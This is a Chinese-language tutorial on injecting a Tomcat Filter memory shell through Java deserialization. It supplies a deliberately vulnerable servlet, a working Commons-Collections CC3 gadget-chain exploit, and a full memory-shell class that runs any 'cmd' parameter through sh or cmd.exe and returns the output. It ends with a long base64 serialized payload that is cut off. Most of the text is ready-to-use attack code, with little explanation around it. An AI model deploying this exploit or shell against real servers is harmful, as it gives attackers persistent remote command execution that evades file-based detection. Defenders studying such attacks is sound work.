反序列化注入内存马
反序列化注入内存马是一种高级攻击技术,攻击者利用目标应用程序在反序列化对象时存在的漏洞,注入恶意代码(通常是Servlet、Filter或Listener)到应用服务器的内存中,使其在服务器重启之前始终存在并可被远程触发执行。这类攻击不仅能绕过传统的文件系统监控,还能够长期潜伏,难以检测和清除。
环境
jdk8_65
pom.xml
导入依赖如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| <dependencies> <dependency> <groupId>junit</groupId> <artifactId>junit</artifactId> <version>4.11</version> <scope>test</scope> </dependency> <dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.2.1</version> </dependency> <dependency> <groupId>javax.servlet</groupId> <artifactId>javax.servlet-api</artifactId> <version>4.0.1</version> <scope>compile</scope> </dependency> <dependency> <groupId>javax.servlet.jsp</groupId> <artifactId>jsp-api</artifactId> <version>2.1</version> <scope>provided</scope> </dependency> <dependency> <groupId>org.javassist</groupId> <artifactId>javassist</artifactId> <version>3.27.0-GA</version> </dependency> </dependencies>
|
编写一个有反序列化漏洞的Servlet应用。(由于代码水平有限,编写的这个环境需要发送base64数据前,再url编码一次)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63
| package cmisl;
import java.io.ByteArrayInputStream; import java.io.ObjectInputStream; import java.util.Base64; import javax.servlet.ServletException; import javax.servlet.annotation.WebServlet; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.IOException;
@WebServlet("/unserial") public class Unserial_Servlet extends HttpServlet { @Override protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { handleRequest(request, response); }
@Override protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { handleRequest(request, response); }
private void handleRequest(HttpServletRequest request, HttpServletResponse response) throws IOException { String base64String = request.getParameter("base64Data");
System.out.println("Base64 Input: " + base64String);
if (base64String == null || base64String.isEmpty()) { System.err.println("Input Base64 string is null or empty."); return; }
try { base64String = base64String.replaceAll("\\s+", ""); byte[] decodedBytes = Base64.getMimeDecoder().decode(base64String); System.out.println("Decoded bytes length: " + decodedBytes.length);
ByteArrayInputStream inputStream = new ByteArrayInputStream(decodedBytes); ObjectInputStream objectInputStream = new ObjectInputStream(inputStream); try { System.out.println(objectInputStream.readObject()); } catch (ClassNotFoundException e) { e.printStackTrace(); }
} catch (IllegalArgumentException e) { System.err.println("Invalid Base64 input: " + e.getMessage()); } catch (Exception e) { System.err.println("Server error: " + e.getMessage()); e.printStackTrace(); } } }
|
反序列化命令执行
接着我们可以编写一个CC3的poc。这里用了javassist技术来生成恶意类的字节码。javassist相关内容参考:Java 类字节码编辑 - Javassist · 攻击Java Web应用-[Java Web安全] (javasec.org)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90
| package cmisl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import javassist.*; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InstantiateTransformer; import org.apache.commons.collections.map.TransformedMap;
import javax.xml.transform.Templates; import javax.xml.transform.TransformerConfigurationException; import java.io.*; import java.lang.annotation.Target; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.InvocationTargetException; import java.util.HashMap; import java.util.Map;
public class CC3_EXP { public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, TransformerConfigurationException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, NotFoundException, CannotCompileException { TemplatesImpl templatesimpl=new TemplatesImpl();
Class c=templatesimpl.getClass(); Field _nameField=c.getDeclaredField("_name"); _nameField.setAccessible(true); _nameField.set(templatesimpl,"aaa");
Field _byteCodesField=c.getDeclaredField("_bytecodes"); _byteCodesField.setAccessible(true);
byte[] code= evilClassBytecode(); byte[][] codes= {code}; _byteCodesField.set(templatesimpl,codes);
Field tfactory = c.getDeclaredField("_tfactory"); tfactory.setAccessible(true); tfactory.set(templatesimpl,new TransformerFactoryImpl());
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templatesimpl});
Transformer[] transformers=new Transformer[]{ new ConstantTransformer(TrAXFilter.class), instantiateTransformer };
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
HashMap<Object,Object> map=new HashMap<>(); map.put("value","value"); Map<Object,Object> transformedMap= TransformedMap.decorate(map,null,chainedTransformer);
Class c2=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor AnnotationInvocationHandlerConstructor=c2.getDeclaredConstructor(Class.class,Map.class); AnnotationInvocationHandlerConstructor.setAccessible(true); Object o=AnnotationInvocationHandlerConstructor.newInstance(Target.class,transformedMap); serialize(o); unserialize("ser.bin"); }
public static void serialize(Object obj) throws IOException { ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); }
public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{ ObjectInputStream ois=new ObjectInputStream(new FileInputStream(Filename)); Object object=ois.readObject(); return object; }
public static byte[] evilClassBytecode() throws IOException, CannotCompileException, NotFoundException { ClassPool classPool = ClassPool.getDefault();
CtClass evilClass = classPool.makeClass("Evil");
CtClass superclass = classPool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"); evilClass.setSuperclass(superclass);
CtConstructor ctConstructor = new CtConstructor(new CtClass[]{}, evilClass); ctConstructor.setBody("{Runtime.getRuntime().exec(\"calc\");}"); evilClass.addConstructor(ctConstructor);
byte[] bytecode = evilClass.toBytecode(); return bytecode; } }
|
我们反序列化出来的数据会存在”ser.bin”这个文件里面,我们将这个文件base64编码。得到的编码通过刚刚编写的存在反序列化漏洞的Servlet应用反序列化触发命令执行。
注入内存马
我们需要将攻击POC的evilClassBytecode方法返回注入内存马的恶意类的字节码。
我们可以先写这么一个恶意类。如果我们要通过反序列化漏洞注入内存马的话,就需要回显技术手动获取request对象了。这里我们以Filter型内存马为例。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179
| package cmisl;
import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import org.apache.catalina.Context; import org.apache.catalina.core.ApplicationContext; import org.apache.catalina.core.ApplicationFilterChain; import org.apache.catalina.core.ApplicationFilterConfig; import org.apache.catalina.core.StandardContext; import org.apache.tomcat.util.descriptor.web.FilterDef; import org.apache.tomcat.util.descriptor.web.FilterMap;
import javax.servlet.*; import java.io.IOException; import java.io.InputStream; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.Modifier; import java.util.Map; import java.util.Scanner;
public class Tomcat_Echo_inject_Filter extends AbstractTranslet{ static { try { Field WRAP_SAME_OBJECT_FIELD = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT"); Field lastServicedRequestField = ApplicationFilterChain.class.getDeclaredField("lastServicedRequest"); Field lastServicedResponseField = ApplicationFilterChain.class.getDeclaredField("lastServicedResponse");
java.lang.reflect.Field modifiersField = Field.class.getDeclaredField("modifiers"); modifiersField.setAccessible(true); modifiersField.setInt(WRAP_SAME_OBJECT_FIELD, WRAP_SAME_OBJECT_FIELD.getModifiers() & ~Modifier.FINAL); modifiersField.setInt(lastServicedRequestField, lastServicedRequestField.getModifiers() & ~Modifier.FINAL); modifiersField.setInt(lastServicedResponseField, lastServicedResponseField.getModifiers() & ~Modifier.FINAL); WRAP_SAME_OBJECT_FIELD.setAccessible(true); lastServicedRequestField.setAccessible(true); lastServicedResponseField.setAccessible(true);
if (!WRAP_SAME_OBJECT_FIELD.getBoolean(null)) { WRAP_SAME_OBJECT_FIELD.setBoolean(null, true); }
if (lastServicedRequestField.get(null) == null) { lastServicedRequestField.set(null, new ThreadLocal<>()); }
if (lastServicedResponseField.get(null) == null) { lastServicedResponseField.set(null, new ThreadLocal<>()); }
ServletRequest servletRequest = null; ServletResponse servletResponse = null;
if (lastServicedRequestField.get(null) != null) { ThreadLocal threadLocal = (ThreadLocal) lastServicedRequestField.get(null); servletRequest = (ServletRequest) threadLocal.get(); }
if (lastServicedResponseField.get(null) != null) { ThreadLocal threadLocal = (ThreadLocal) lastServicedResponseField.get(null); servletResponse = (ServletResponse) threadLocal.get(); }
if (servletRequest != null && servletRequest.getServletContext() != null) { ServletContext servletContext = servletRequest.getServletContext(); Field appctx = servletContext.getClass().getDeclaredField("context"); appctx.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext); Field stdctx = applicationContext.getClass().getDeclaredField("context"); stdctx.setAccessible(true); StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
Field filterConfigsField = standardContext.getClass().getDeclaredField("filterConfigs"); filterConfigsField.setAccessible(true); Map filterConfigs = (Map) filterConfigsField.get(standardContext);
String filterName = "cmisl";
if (filterConfigs.get(filterName) == null) { Filter filter = new EvilFilter();
FilterDef filterDef = new FilterDef(); filterDef.setFilterName(filterName); filterDef.setFilterClass(filter.getClass().getName()); filterDef.setFilter(filter);
standardContext.addFilterDef(filterDef);
FilterMap filterMap = new FilterMap(); filterMap.setFilterName(filterName); filterMap.addURLPattern("/*"); filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class); constructor.setAccessible(true); ApplicationFilterConfig applicationFilterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef); filterConfigs.put(filterName, applicationFilterConfig);
servletResponse.setCharacterEncoding("utf-8"); servletResponse.setContentType("text/html;charset=utf-8"); servletResponse.getWriter().write("[+]filter型内存马注入成功<br>"); servletResponse.getWriter().write("[+]URL:http://localhost:8080/FilterMemoryShell_war_exploded/");
} }
} catch (Exception e) {
} }
@Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
public static class EvilFilter implements Filter { @Override public void init(FilterConfig filterConfig) throws ServletException { }
@Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { String cmd = servletRequest.getParameter("cmd"); servletResponse.setCharacterEncoding("GBK"); if (cmd != null) { boolean isLinux = true; String osTyp = System.getProperty("os.name"); if (osTyp != null && osTyp.toLowerCase().contains("win")) { isLinux = false; } String[] commands = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd}; InputStream inputStream = Runtime.getRuntime().exec(commands).getInputStream(); Scanner s = new Scanner(inputStream, "GBK").useDelimiter("\\A"); String output = s.hasNext() ? s.next() : ""; servletResponse.getWriter().write(output); servletResponse.getWriter().flush(); servletResponse.getWriter().close(); filterChain.doFilter(servletRequest, servletResponse); } }
@Override public void destroy() { } } }
|
调试cc3的poc如下,使其可以得到我们指定类的字节码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104
| package cmisl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import javassist.*; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InstantiateTransformer; import org.apache.commons.collections.map.TransformedMap;
import javax.xml.transform.Templates; import javax.xml.transform.TransformerConfigurationException; import java.io.*; import java.lang.annotation.Target; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.InvocationTargetException; import java.util.HashMap; import java.util.Map;
public class CC3_EXP{ public static void main(String[] args) throws Exception { TemplatesImpl templatesimpl=new TemplatesImpl();
Class c=templatesimpl.getClass(); Field _nameField=c.getDeclaredField("_name"); _nameField.setAccessible(true); _nameField.set(templatesimpl,"aaa");
Field _byteCodesField=c.getDeclaredField("_bytecodes"); _byteCodesField.setAccessible(true);
byte[] code= evilClassBytecode(); byte[][] codes= {code}; _byteCodesField.set(templatesimpl,codes);
Field tfactory = c.getDeclaredField("_tfactory"); tfactory.setAccessible(true); tfactory.set(templatesimpl,new TransformerFactoryImpl());
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templatesimpl});
Transformer[] transformers=new Transformer[]{ new ConstantTransformer(TrAXFilter.class), instantiateTransformer };
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
HashMap<Object,Object> map=new HashMap<>(); map.put("value","value"); Map<Object,Object> transformedMap= TransformedMap.decorate(map,null,chainedTransformer);
Class c2=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor AnnotationInvocationHandlerConstructor=c2.getDeclaredConstructor(Class.class,Map.class); AnnotationInvocationHandlerConstructor.setAccessible(true); Object o=AnnotationInvocationHandlerConstructor.newInstance(Target.class,transformedMap); serialize(o); unserialize("ser.bin"); }
public static void serialize(Object obj) throws IOException { ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); }
public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{ ObjectInputStream ois=new ObjectInputStream(new FileInputStream(Filename)); Object object=ois.readObject(); return object; }
public static byte[] evilClassBytecode() throws IOException { Tomcat_Echo_inject_Filter tomcatEchoInjectFilter = new Tomcat_Echo_inject_Filter(); return getClassBytecode(tomcatEchoInjectFilter.getClass()); }
public static byte[] getClassBytecode(Class<?> clazz) throws IOException { String className = clazz.getName(); String classAsResource = className.replace('.', '/') + ".class";
InputStream inputStream = clazz.getClassLoader().getResourceAsStream(classAsResource);
if (inputStream == null) { throw new IOException("Class not found: " + classAsResource); }
ByteArrayOutputStream byteStream = new ByteArrayOutputStream(); int nextValue = 0; while ((nextValue = inputStream.read()) != -1) { byteStream.write(nextValue); }
inputStream.close();
return byteStream.toByteArray(); } }
|
运行之后将生成的ser.bin文件base64编码。点击两次send(第一次反射修改条件),成功注入。
1
| rO0ABXNyADJzdW4ucmVmbGVjdC5hbm5vdGF0aW9uLkFubm90YXRpb25JbnZvY2F0aW9uSGFuZGxlclXK9Q8Vy36lAgACTAAMbWVtYmVyVmFsdWVzdAAPTGphdmEvdXRpbC9NYXA7TAAEdHlwZXQAEUxqYXZhL2xhbmcvQ2xhc3M7eHBzcgAxb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLm1hcC5UcmFuc2Zvcm1lZE1hcGF3P+Bd8VpwAwACTAAOa2V5VHJhbnNmb3JtZXJ0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO0wAEHZhbHVlVHJhbnNmb3JtZXJxAH4ABXhwcHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ2hhaW5lZFRyYW5zZm9ybWVyMMeX7Ch6lwQCAAFbAA1pVHJhbnNmb3JtZXJzdAAtW0xvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHB1cgAtW0xvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuVHJhbnNmb3JtZXI7vVYq8dg0GJkCAAB4cAAAAAJzcgA7b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkNvbnN0YW50VHJhbnNmb3JtZXJYdpARQQKxlAIAAUwACWlDb25zdGFudHQAEkxqYXZhL2xhbmcvT2JqZWN0O3hwdnIAN2NvbS5zdW4ub3JnLmFwYWNoZS54YWxhbi5pbnRlcm5hbC54c2x0Yy50cmF4LlRyQVhGaWx0ZXIAAAAAAAAAAAAAAHhwc3IAPm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5JbnN0YW50aWF0ZVRyYW5zZm9ybWVyNIv0f6SG0DsCAAJbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAXNyADpjb20uc3VuLm9yZy5hcGFjaGUueGFsYW4uaW50ZXJuYWwueHNsdGMudHJheC5UZW1wbGF0ZXNJbXBsCVdPwW6sqzMDAAZJAA1faW5kZW50TnVtYmVySQAOX3RyYW5zbGV0SW5kZXhbAApfYnl0ZWNvZGVzdAADW1tCWwAGX2NsYXNzcQB+ABNMAAVfbmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO0wAEV9vdXRwdXRQcm9wZXJ0aWVzdAAWTGphdmEvdXRpbC9Qcm9wZXJ0aWVzO3hwAAAAAP////91cgADW1tCS/0ZFWdn2zcCAAB4cAAAAAF1cgACW0Ks8xf4BghU4AIAAHhwAAAWVcr+ur4AAAA0APwKAEUAhggAhwoANACICACJCgA0AIoHAIsIAIwIAI0HAI4IAI8KAAkAkAoACQCRBwCSCgAJAJMKAAkAlAoACQCVCgAJAJYHAJcKABIAhgoACQCYCgASAJkHAJoHAJsLABYAnAoAOACdCACeBwCfBwCgCABzBwChCACiCwAeAJYHAKMKACEAhgcApAoAIwCGCgAjAKUKADQApgoAIwCnCgAjAKgKABwAqQcAqgoAKgCGCgAqAKUIAKsKACoArAkArQCuCgCtAK8KACoAsAoAHACxBwCyBwCzBwC0CgA0ALUKALYAkAcAtwoAtgC4CwAeALkIALoLABcAuwgAvAsAFwC9CwAXAL4IAL8KAMAAwQgAwgcAwwcAxAcAxQEACkV2aWxGaWx0ZXIBAAxJbm5lckNsYXNzZXMBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAIUxjbWlzbC9Ub21jYXRfRWNob19pbmplY3RfRmlsdGVyOwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb25zBwDGAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAAg8Y2xpbml0PgEAC3RocmVhZExvY2FsAQAXTGphdmEvbGFuZy9UaHJlYWRMb2NhbDsBAAZmaWx0ZXIBABZMamF2YXgvc2VydmxldC9GaWx0ZXI7AQAJZmlsdGVyRGVmAQAxTG9yZy9hcGFjaGUvdG9tY2F0L3V0aWwvZGVzY3JpcHRvci93ZWIvRmlsdGVyRGVmOwEACWZpbHRlck1hcAEAMUxvcmcvYXBhY2hlL3RvbWNhdC91dGlsL2Rlc2NyaXB0b3Ivd2ViL0ZpbHRlck1hcDsBAAtjb25zdHJ1Y3RvcgEAH0xqYXZhL2xhbmcvcmVmbGVjdC9Db25zdHJ1Y3RvcjsBABdhcHBsaWNhdGlvbkZpbHRlckNvbmZpZwEAMkxvcmcvYXBhY2hlL2NhdGFsaW5hL2NvcmUvQXBwbGljYXRpb25GaWx0ZXJDb25maWc7AQAOc2VydmxldENvbnRleHQBAB5MamF2YXgvc2VydmxldC9TZXJ2bGV0Q29udGV4dDsBAAZhcHBjdHgBABlMamF2YS9sYW5nL3JlZmxlY3QvRmllbGQ7AQASYXBwbGljYXRpb25Db250ZXh0AQAtTG9yZy9hcGFjaGUvY2F0YWxpbmEvY29yZS9BcHBsaWNhdGlvbkNvbnRleHQ7AQAGc3RkY3R4AQAPc3RhbmRhcmRDb250ZXh0AQAqTG9yZy9hcGFjaGUvY2F0YWxpbmEvY29yZS9TdGFuZGFyZENvbnRleHQ7AQASZmlsdGVyQ29uZmlnc0ZpZWxkAQANZmlsdGVyQ29uZmlncwEAD0xqYXZhL3V0aWwvTWFwOwEACmZpbHRlck5hbWUBABJMamF2YS9sYW5nL1N0cmluZzsBABZXUkFQX1NBTUVfT0JKRUNUX0ZJRUxEAQAYbGFzdFNlcnZpY2VkUmVxdWVzdEZpZWxkAQAZbGFzdFNlcnZpY2VkUmVzcG9uc2VGaWVsZAEADm1vZGlmaWVyc0ZpZWxkAQAOc2VydmxldFJlcXVlc3QBAB5MamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdDsBAA9zZXJ2bGV0UmVzcG9uc2UBAB9MamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2U7AQANU3RhY2tNYXBUYWJsZQcAjgcAmgcAmwcAwwEAClNvdXJjZUZpbGUBAB5Ub21jYXRfRWNob19pbmplY3RfRmlsdGVyLmphdmEMAEgASQEALm9yZy5hcGFjaGUuY2F0YWxpbmEuY29yZS5BcHBsaWNhdGlvbkRpc3BhdGNoZXIMAMcAyAEAEFdSQVBfU0FNRV9PQkpFQ1QMAMkAygEAL29yZy9hcGFjaGUvY2F0YWxpbmEvY29yZS9BcHBsaWNhdGlvbkZpbHRlckNoYWluAQATbGFzdFNlcnZpY2VkUmVxdWVzdAEAFGxhc3RTZXJ2aWNlZFJlc3BvbnNlAQAXamF2YS9sYW5nL3JlZmxlY3QvRmllbGQBAAltb2RpZmllcnMMAMsAzAwAzQDOAQAaamF2YS9sYW5nL3JlZmxlY3QvTW9kaWZpZXIMAM8A0AwA0QDSDADTANQMANUA1gEAFWphdmEvbGFuZy9UaHJlYWRMb2NhbAwA1wDYDADVANkBABxqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0AQAdamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2UMANoA2wwA3ADdAQAHY29udGV4dAEAK29yZy9hcGFjaGUvY2F0YWxpbmEvY29yZS9BcHBsaWNhdGlvbkNvbnRleHQBAChvcmcvYXBhY2hlL2NhdGFsaW5hL2NvcmUvU3RhbmRhcmRDb250ZXh0AQANamF2YS91dGlsL01hcAEABWNtaXNsAQAqY21pc2wvVG9tY2F0X0VjaG9faW5qZWN0X0ZpbHRlciRFdmlsRmlsdGVyAQAvb3JnL2FwYWNoZS90b21jYXQvdXRpbC9kZXNjcmlwdG9yL3dlYi9GaWx0ZXJEZWYMAN4A3wwA4ADhDADiAN8MAOMA5AwA5QDmAQAvb3JnL2FwYWNoZS90b21jYXQvdXRpbC9kZXNjcmlwdG9yL3dlYi9GaWx0ZXJNYXABAAIvKgwA5wDfBwDoDADpAOoMAOsA4QwA7ADfDADtAO4BADBvcmcvYXBhY2hlL2NhdGFsaW5hL2NvcmUvQXBwbGljYXRpb25GaWx0ZXJDb25maWcBAA9qYXZhL2xhbmcvQ2xhc3MBABtvcmcvYXBhY2hlL2NhdGFsaW5hL0NvbnRleHQMAO8A8AcA8QEAEGphdmEvbGFuZy9PYmplY3QMAPIA8wwA9AD1AQAFdXRmLTgMAPYA3wEAF3RleHQvaHRtbDtjaGFyc2V0PXV0Zi04DAD3AN8MAPgA+QEAJVsrXWZpbHRlcuWei+WGheWtmOmprOazqOWFpeaIkOWKnzxicj4HAPoMAPsA3wEAPFsrXVVSTDpodHRwOi8vbG9jYWxob3N0OjgwODAvRmlsdGVyTWVtb3J5U2hlbGxfd2FyX2V4cGxvZGVkLwEAE2phdmEvbGFuZy9FeGNlcHRpb24BAB9jbWlzbC9Ub21jYXRfRWNob19pbmplY3RfRmlsdGVyAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAB2Zvck5hbWUBACUoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvQ2xhc3M7AQAQZ2V0RGVjbGFyZWRGaWVsZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOwEADXNldEFjY2Vzc2libGUBAAQoWilWAQAMZ2V0TW9kaWZpZXJzAQADKClJAQAGc2V0SW50AQAWKExqYXZhL2xhbmcvT2JqZWN0O0kpVgEACmdldEJvb2xlYW4BABUoTGphdmEvbGFuZy9PYmplY3Q7KVoBAApzZXRCb29sZWFuAQAWKExqYXZhL2xhbmcvT2JqZWN0O1opVgEAA2dldAEAJihMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQADc2V0AQAnKExqYXZhL2xhbmcvT2JqZWN0O0xqYXZhL2xhbmcvT2JqZWN0OylWAQAUKClMamF2YS9sYW5nL09iamVjdDsBABFnZXRTZXJ2bGV0Q29udGV4dAEAICgpTGphdmF4L3NlcnZsZXQvU2VydmxldENvbnRleHQ7AQAIZ2V0Q2xhc3MBABMoKUxqYXZhL2xhbmcvQ2xhc3M7AQANc2V0RmlsdGVyTmFtZQEAFShMamF2YS9sYW5nL1N0cmluZzspVgEAB2dldE5hbWUBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEADnNldEZpbHRlckNsYXNzAQAJc2V0RmlsdGVyAQAZKExqYXZheC9zZXJ2bGV0L0ZpbHRlcjspVgEADGFkZEZpbHRlckRlZgEANChMb3JnL2FwYWNoZS90b21jYXQvdXRpbC9kZXNjcmlwdG9yL3dlYi9GaWx0ZXJEZWY7KVYBAA1hZGRVUkxQYXR0ZXJuAQAcamF2YXgvc2VydmxldC9EaXNwYXRjaGVyVHlwZQEAB1JFUVVFU1QBAB5MamF2YXgvc2VydmxldC9EaXNwYXRjaGVyVHlwZTsBAARuYW1lAQANc2V0RGlzcGF0Y2hlcgEAEmFkZEZpbHRlck1hcEJlZm9yZQEANChMb3JnL2FwYWNoZS90b21jYXQvdXRpbC9kZXNjcmlwdG9yL3dlYi9GaWx0ZXJNYXA7KVYBABZnZXREZWNsYXJlZENvbnN0cnVjdG9yAQAzKFtMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL3JlZmxlY3QvQ29uc3RydWN0b3I7AQAdamF2YS9sYW5nL3JlZmxlY3QvQ29uc3RydWN0b3IBAAtuZXdJbnN0YW5jZQEAJyhbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEAA3B1dAEAOChMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQAUc2V0Q2hhcmFjdGVyRW5jb2RpbmcBAA5zZXRDb250ZW50VHlwZQEACWdldFdyaXRlcgEAFygpTGphdmEvaW8vUHJpbnRXcml0ZXI7AQATamF2